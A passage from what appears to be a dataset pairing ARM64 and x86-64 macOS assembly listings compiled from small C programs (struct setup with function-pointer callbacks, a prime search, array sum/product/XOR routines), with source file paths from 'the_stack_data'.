str x0, [sp]
ldr x8, [sp, #16]
ldr x9, [sp]
str x8, [x9]
ldr w8, [sp, #12]
ldr x9, [sp]
str w8, [x9, #8]
ldr w8, [sp, #8]
ldr x9, [sp]
str w8, [x9, #12]
ldr x8, [sp]
ldr w8, [x8, #8]
add w8, w8, #1
ldr x9, [sp]
str w8, [x9, #16]
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _arrayrial ; -- Begin function arrayrial
.p2align 2
_arrayrial: ; @arrayrial
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #16]
str w1, [sp, #12]
mov x0, #16
bl _malloc
str x0, [sp]
ldr x8, [sp, #16]
ldr x9, [sp]
str x8, [x9]
ldr w8, [sp, #12]
ldr x9, [sp]
str w8, [x9, #8]
ldr x9, [sp]
mov w8, #2
str w8, [x9, #12]
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl ___aux0 ; -- Begin function __aux0
.p2align 2
___aux0: ; @__aux0
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp]
str x1, [sp, #8]
ldr x8, [sp]
ldr x0, [sp, #8]
blr x8
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl ___anon0 ; -- Begin function __anon0
.p2align 2
___anon0: ; @__anon0
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
mov x0, #8
bl _malloc
str x0, [sp]
ldr x8, [sp, #8]
ldr x9, [sp]
str x8, [x9]
ldr x8, [sp]
ldr x9, [x8]
mov w8, #1
str w8, [x9, #16]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl ___anon1 ; -- Begin function __anon1
.p2align 2
___anon1: ; @__anon1
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
mov x0, #8
bl _malloc
str x0, [sp]
ldr x8, [sp, #8]
ldr x9, [sp]
str x8, [x9]
ldr x8, [sp]
ldr x9, [x8]
mov w8, #23
str w8, [x9, #16]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl ___aux1 ; -- Begin function __aux1
.p2align 2
___aux1: ; @__aux1
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp]
str x1, [sp, #8]
ldr x8, [sp]
ldr x0, [sp, #8]
blr x8
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl ___anon2 ; -- Begin function __anon2
.p2align 2
___anon2: ; @__anon2
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
mov x0, #12
bl _malloc
str x0, [sp]
ldr x8, [sp, #8]
ldr x9, [sp]
str x8, [x9]
ldr x8, [sp]
ldr x8, [x8]
ldr w8, [x8, #8]
lsl w8, w8, #1
ldr x9, [sp]
str w8, [x9, #8]
ldr x8, [sp]
ldr w8, [x8, #8]
ldr x9, [sp]
ldr x9, [x9]
str w8, [x9, #12]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
; kill: def $x8 killed $xzr
stur xzr, [x29, #-16]
mov x0, #20
bl _malloc
stur x0, [x29, #-24]
ldur x8, [x29, #-16]
ldur x9, [x29, #-24]
str x8, [x9]
ldur x9, [x29, #-24]
mov w8, #7
str w8, [x9, #8]
ldur x9, [x29, #-24]
mov w8, #3
str w8, [x9, #12]
ldur x8, [x29, #-24]
ldr w8, [x8, #8]
subs w8, w8, #7
cset w8, eq
tbnz w8, #0, LBB7_2
b LBB7_1
LBB7_1:
adrp x8, ___anon0@PAGE
add x8, x8, ___anon0@PAGEOFF
str x8, [sp, #40]
ldur x8, [x29, #-24]
str x8, [sp, #48]
b LBB7_3
LBB7_2:
adrp x8, ___anon1@PAGE
add x8, x8, ___anon1@PAGEOFF
str x8, [sp, #40]
ldur x8, [x29, #-24]
str x8, [sp, #48]
b LBB7_3
LBB7_3:
ldr x0, [sp, #40]
ldr x1, [sp, #48]
bl ___aux0
adrp x8, ___anon2@PAGE
add x8, x8, ___anon2@PAGEOFF
str x8, [sp, #24]
ldur x8, [x29, #-24]
str x8, [sp, #32]
ldr x0, [sp, #24]
ldr x1, [sp, #32]
bl ___aux1
ldur x8, [x29, #-24]
ldr w8, [x8, #8]
; implicit-def: $x11
mov x11, x8
ldur x8, [x29, #-24]
ldr w8, [x8, #16]
; implicit-def: $x10
mov x10, x8
ldur x8, [x29, #-24]
ldr w9, [x8, #12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x11, [x9]
str x10, [x9, #8]
str x8, [x9, #16]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "a: %d\nb: %d\nc: %d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _factorial ## -- Begin function factorial
.p2align 4, 0x90
_factorial: ## @factorial
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -16(%rbp)
movl %esi, -20(%rbp)
movl %edx, -24(%rbp)
movl $20, %edi
callq _malloc
movq %rax, -32(%rbp)
movq -16(%rbp), %rcx
movq -32(%rbp), %rax
movq %rcx, (%rax)
movl -20(%rbp), %ecx
movq -32(%rbp), %rax
movl %ecx, 8(%rax)
movl -24(%rbp), %ecx
movq -32(%rbp), %rax
movl %ecx, 12(%rax)
movq -32(%rbp), %rax
movl 8(%rax), %ecx
addl $1, %ecx
movq -32(%rbp), %rax
movl %ecx, 16(%rax)
movl -4(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _arrayrial ## -- Begin function arrayrial
.p2align 4, 0x90
_arrayrial: ## @arrayrial
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -16(%rbp)
movl %esi, -20(%rbp)
movl $16, %edi
callq _malloc
movq %rax, -32(%rbp)
movq -16(%rbp), %rcx
movq -32(%rbp), %rax
movq %rcx, (%rax)
movl -20(%rbp), %ecx
movq -32(%rbp), %rax
movl %ecx, 8(%rax)
movq -32(%rbp), %rax
movl $2, 12(%rax)
movl -4(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl ___aux0 ## -- Begin function __aux0
.p2align 4, 0x90
___aux0: ## @__aux0
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -16(%rbp)
movq %rsi, -8(%rbp)
movq -16(%rbp), %rcx
movq -8(%rbp), %rdi
movb $0, %al
callq *%rcx
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl ___anon0 ## -- Begin function __anon0
.p2align 4, 0x90
___anon0: ## @__anon0
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movl $8, %edi
callq _malloc
movq %rax, -16(%rbp)
movq -8(%rbp), %rcx
movq -16(%rbp), %rax
movq %rcx, (%rax)
movq -16(%rbp), %rax
movq (%rax), %rax
movl $1, 16(%rax)
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl ___anon1 ## -- Begin function __anon1
.p2align 4, 0x90
___anon1: ## @__anon1
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movl $8, %edi
callq _malloc
movq %rax, -16(%rbp)
movq -8(%rbp), %rcx
movq -16(%rbp), %rax
movq %rcx, (%rax)
movq -16(%rbp), %rax
movq (%rax), %rax
movl $23, 16(%rax)
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl ___aux1 ## -- Begin function __aux1
.p2align 4, 0x90
___aux1: ## @__aux1
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -16(%rbp)
movq %rsi, -8(%rbp)
movq -16(%rbp), %rcx
movq -8(%rbp), %rdi
movb $0, %al
callq *%rcx
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl ___anon2 ## -- Begin function __anon2
.p2align 4, 0x90
___anon2: ## @__anon2
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movl $12, %edi
callq _malloc
movq %rax, -16(%rbp)
movq -8(%rbp), %rcx
movq -16(%rbp), %rax
movq %rcx, (%rax)
movq -16(%rbp), %rax
movq (%rax), %rax
movl 8(%rax), %ecx
shll $1, %ecx
movq -16(%rbp), %rax
movl %ecx, 8(%rax)
movq -16(%rbp), %rax
movl 8(%rax), %ecx
movq -16(%rbp), %rax
movq (%rax), %rax
movl %ecx, 12(%rax)
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movl $0, -4(%rbp)
movq $0, -16(%rbp)
movl $20, %edi
callq _malloc
movq %rax, -24(%rbp)
movq -16(%rbp), %rcx
movq -24(%rbp), %rax
movq %rcx, (%rax)
movq -24(%rbp), %rax
movl $7, 8(%rax)
movq -24(%rbp), %rax
movl $3, 12(%rax)
movq -24(%rbp), %rax
cmpl $7, 8(%rax)
je LBB7_2
## %bb.1:
leaq ___anon0(%rip), %rax
movq %rax, -40(%rbp)
movq -24(%rbp), %rax
movq %rax, -32(%rbp)
jmp LBB7_3
LBB7_2:
leaq ___anon1(%rip), %rax
movq %rax, -40(%rbp)
movq -24(%rbp), %rax
movq %rax, -32(%rbp)
LBB7_3:
movq -40(%rbp), %rdi
movq -32(%rbp), %rsi
callq ___aux0
leaq ___anon2(%rip), %rax
movq %rax, -56(%rbp)
movq -24(%rbp), %rax
movq %rax, -48(%rbp)
movq -56(%rbp), %rdi
movq -48(%rbp), %rsi
callq ___aux1
movq -24(%rbp), %rax
movl 8(%rax), %esi
movq -24(%rbp), %rax
movl 16(%rax), %edx
movq -24(%rbp), %rax
movl 12(%rax), %ecx
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl -4(%rbp), %eax
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "a: %d\nb: %d\nc: %d\n"
.subsections_via_symbols
| the_stack_data/167331262.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _check_prime ; -- Begin function check_prime
.p2align 2
_check_prime: ; @check_prime
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #12]
ldr w8, [sp, #12]
str w8, [sp, #8]
mov w8, #2
str w8, [sp, #4]
str w8, [sp, #4]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #4]
ldr w9, [sp, #8]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_6
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #8]
ldr w10, [sp, #4]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB0_5
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
mov w8, #2
str w8, [sp, #4]
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
b LBB0_1
LBB0_6:
ldr w0, [sp, #4]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
stur w8, [x29, #-12] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
str x0, [sp, #8] ; 8-byte Folded Spill
bl _scanf
ldur w0, [x29, #-8]
bl _check_prime
mov x10, x0
ldr x0, [sp, #8] ; 8-byte Folded Reload
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
bl _printf
ldur w0, [x29, #-12] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _check_prime ## -- Begin function check_prime
.p2align 4, 0x90
_check_prime: ## @check_prime
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl -4(%rbp), %eax
movl %eax, -8(%rbp)
movl $2, -12(%rbp)
movl $2, -12(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -12(%rbp), %eax
cmpl -8(%rbp), %eax
jge LBB0_6
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %eax
cltd
idivl -12(%rbp)
cmpl $0, %edx
je LBB0_4
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB0_5
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
movl $2, -12(%rbp)
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_1
LBB0_6:
movl -12(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
movl -8(%rbp), %edi
callq _check_prime
movl %eax, %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
.subsections_via_symbols
| the_stack_data/85211.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _max ; -- Begin function max
.p2align 2
_max: ; @max
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #8]
str w1, [sp, #4]
ldr w8, [sp, #8]
ldr w9, [sp, #4]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldr w8, [sp, #4]
str w8, [sp, #12]
b LBB0_3
LBB0_2:
ldr w8, [sp, #8]
str w8, [sp, #12]
b LBB0_3
LBB0_3:
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _min ; -- Begin function min
.p2align 2
_min: ; @min
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #8]
str w1, [sp, #4]
ldr w8, [sp, #8]
ldr w9, [sp, #4]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
ldr w8, [sp, #4]
str w8, [sp, #12]
b LBB1_3
LBB1_2:
ldr w8, [sp, #8]
str w8, [sp, #12]
b LBB1_3
LBB1_3:
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _N ; -- Begin function N
.p2align 2
_N: ; @N
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str w0, [sp, #28]
str w1, [sp, #24]
str x2, [sp, #16]
str w3, [sp, #12]
str wzr, [sp, #8]
ldr w8, [sp, #28]
str w8, [sp, #4]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #4]
ldr w9, [sp, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB2_4
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp, #4]
ldr w9, [x8, x9, lsl #2]
ldr w8, [sp, #8]
add w8, w8, w9
str w8, [sp, #8]
b LBB2_3
LBB2_3: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB2_1
LBB2_4:
ldr w8, [sp, #8]
ldr w10, [sp, #12]
sdiv w9, w8, w10
mul w9, w9, w10
subs w0, w8, w9
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _M ; -- Begin function M
.p2align 2
_M: ; @M
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str w0, [sp, #28]
str w1, [sp, #24]
str x2, [sp, #16]
str w3, [sp, #12]
mov w8, #1
str w8, [sp, #8]
ldr w8, [sp, #28]
str w8, [sp, #4]
b LBB3_1
LBB3_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #4]
ldr w9, [sp, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB3_4
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp, #8]
ldr w10, [sp, #12]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
ldr x9, [sp, #16]
ldrsw x10, [sp, #4]
ldr w9, [x9, x10, lsl #2]
ldr w11, [sp, #12]
sdiv w10, w9, w11
mul w10, w10, w11
subs w9, w9, w10
mul w8, w8, w9
ldr w10, [sp, #12]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
str w8, [sp, #8]
b LBB3_3
LBB3_3: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB3_1
LBB3_4:
ldr w0, [sp, #8]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _H ; -- Begin function H
.p2align 2
_H: ; @H
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str w0, [sp, #28]
str w1, [sp, #24]
str x2, [sp, #16]
str w3, [sp, #12]
ldr x8, [sp, #16]
ldrsw x9, [sp, #28]
ldr w8, [x8, x9, lsl #2]
str w8, [sp, #8]
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #4]
b LBB4_1
LBB4_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #4]
ldr w9, [sp, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB4_4
b LBB4_2
LBB4_2: ; in Loop: Header=BB4_1 Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp, #4]
ldr w9, [x8, x9, lsl #2]
ldr w8, [sp, #8]
eor w8, w8, w9
str w8, [sp, #8]
b LBB4_3
LBB4_3: ; in Loop: Header=BB4_1 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB4_1
LBB4_4:
ldr w0, [sp, #8]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
sub sp, sp, #544
mov x19, sp
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [x19, #128]
add x0, x19, #132
mov x1, #404
bl _bzero
sub sp, sp, #16
mov x9, sp
add x8, x19, #124
str x8, [x9]
add x8, x19, #120
str x8, [x9, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
add sp, sp, #16
ldr w8, [x19, #120]
; kill: def $x8 killed $w8
mov x9, sp
str x9, [x19, #104]
lsl x9, x8, #2
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
str x9, [x19, #32] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldr x10, [x19, #32] ; 8-byte Folded Reload
mov x9, sp
subs x9, x9, x10
mov sp, x9
str x9, [x19, #40] ; 8-byte Folded Spill
str x8, [x19, #96]
ldr w8, [x19, #120]
; kill: def $x8 killed $w8
lsl x9, x8, #2
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
str x9, [x19, #48] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldr x10, [x19, #48] ; 8-byte Folded Reload
mov x9, sp
subs x9, x9, x10
mov sp, x9
str x9, [x19, #56] ; 8-byte Folded Spill
str x8, [x19, #88]
ldr w8, [x19, #120]
; kill: def $x8 killed $w8
lsl x9, x8, #2
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
str x9, [x19, #64] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldr x10, [x19, #64] ; 8-byte Folded Reload
mov x9, sp
subs x9, x9, x10
mov sp, x9
str x9, [x19, #72] ; 8-byte Folded Spill
str x8, [x19, #80]
str wzr, [x19, #116]
b LBB5_1
LBB5_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [x19, #116]
ldr w9, [x19, #124]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB5_4
b LBB5_2
LBB5_2: ; in Loop: Header=BB5_1 Depth=1
ldrsw x9, [x19, #116]
add x8, x19, #132
add x8, x8, x9, lsl #2
sub sp, sp, #16
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
add sp, sp, #16
b LBB5_3
LBB5_3: ; in Loop: Header=BB5_1 Depth=1
ldr w8, [x19, #116]
add w8, w8, #1
str w8, [x19, #116]
b LBB5_1
LBB5_4:
str wzr, [x19, #116]
b LBB5_5
LBB5_5: ; =>This Inner Loop Header: Depth=1
ldr w8, [x19, #116]
ldr w9, [x19, #120]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB5_8
b LBB5_6
LBB5_6: ; in Loop: Header=BB5_5 Depth=1
ldr x8, [x19, #56] ; 8-byte Folded Reload
ldr x9, [x19, #40] ; 8-byte Folded Reload
ldrsw x10, [x19, #116]
add x10, x9, x10, lsl #2
ldrsw x9, [x19, #116]
add x8, x8, x9, lsl #2
sub sp, sp, #16
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldr x9, [x19, #40] ; 8-byte Folded Reload
ldr x8, [x19, #56] ; 8-byte Folded Reload
add sp, sp, #16
ldrsw x10, [x19, #116]
ldr w0, [x9, x10, lsl #2]
ldrsw x9, [x19, #116]
ldr w1, [x8, x9, lsl #2]
ldr w3, [x19, #124]
add x2, x19, #132
str x2, [x19, #16] ; 8-byte Folded Spill
bl _N
ldr x9, [x19, #40] ; 8-byte Folded Reload
ldr x8, [x19, #56] ; 8-byte Folded Reload
ldr x2, [x19, #16] ; 8-byte Folded Reload
str w0, [x19, #8] ; 4-byte Folded Spill
ldrsw x10, [x19, #116]
ldr w0, [x9, x10, lsl #2]
ldrsw x9, [x19, #116]
ldr w1, [x8, x9, lsl #2]
ldr w3, [x19, #124]
bl _M
mov x1, x0
ldr w0, [x19, #8] ; 4-byte Folded Reload
bl _min
ldr x9, [x19, #40] ; 8-byte Folded Reload
ldr x8, [x19, #56] ; 8-byte Folded Reload
ldr x2, [x19, #16] ; 8-byte Folded Reload
str w0, [x19, #28] ; 4-byte Folded Spill
ldrsw x10, [x19, #116]
ldr w0, [x9, x10, lsl #2]
ldrsw x9, [x19, #116]
ldr w1, [x8, x9, lsl #2]
ldr w3, [x19, #124]
bl _N
ldr x9, [x19, #40] ; 8-byte Folded Reload
ldr x8, [x19, #56] ; 8-byte Folded Reload
ldr x2, [x19, #16] ; 8-byte Folded Reload
str w0, [x19, #12] ; 4-byte Folded Spill
ldrsw x10, [x19, #116]
ldr w0, [x9, x10, lsl #2]
ldrsw x9, [x19, #116]
ldr w1, [x8, x9, lsl #2]
ldr w3, [x19, #124]
bl _M
mov x1, x0
ldr w0, [x19, #12] ; 4-byte Folded Reload
bl _max
ldr x2, [x19, #16] ; 8-byte Folded Reload
mov x1, x0
ldr w0, [x19, #28] ; 4-byte Folded Reload
ldr w3, [x19, #124]
bl _H
ldr x8, [x19, #72] ; 8-byte Folded Reload
ldrsw x9, [x19, #116]
str w0, [x8, x9, lsl #2]
b LBB5_7
LBB5_7: ; in Loop: Header=BB5_5 Depth=1
ldr w8, [x19, #116]
add w8, w8, #1
str w8, [x19, #116]
b LBB5_5
LBB5_8:
str wzr, [x19, #116]
b LBB5_9
LBB5_9: ; =>This Inner Loop Header: Depth=1
ldr w8, [x19, #116]
ldr w9, [x19, #120]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB5_12
b LBB5_10
LBB5_10: ; in Loop: Header=BB5_9 Depth=1
ldr x8, [x19, #72] ; 8-byte Folded Reload
ldrsw x9, [x19, #116]
ldr w9, [x8, x9, lsl #2]
; implicit-def: $x8
mov x8, x9
sub sp, sp, #16
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
add sp, sp, #16
b LBB5_11
LBB5_11: ; in Loop: Header=BB5_9 Depth=1
ldr w8, [x19, #116]
add w8, w8, #1
str w8, [x19, #116]
b LBB5_9
LBB5_12:
str wzr, [x19, #128]
ldr x8, [x19, #104]
mov sp, x8
ldr w8, [x19, #128]
str w8, [x19, #4] ; 4-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
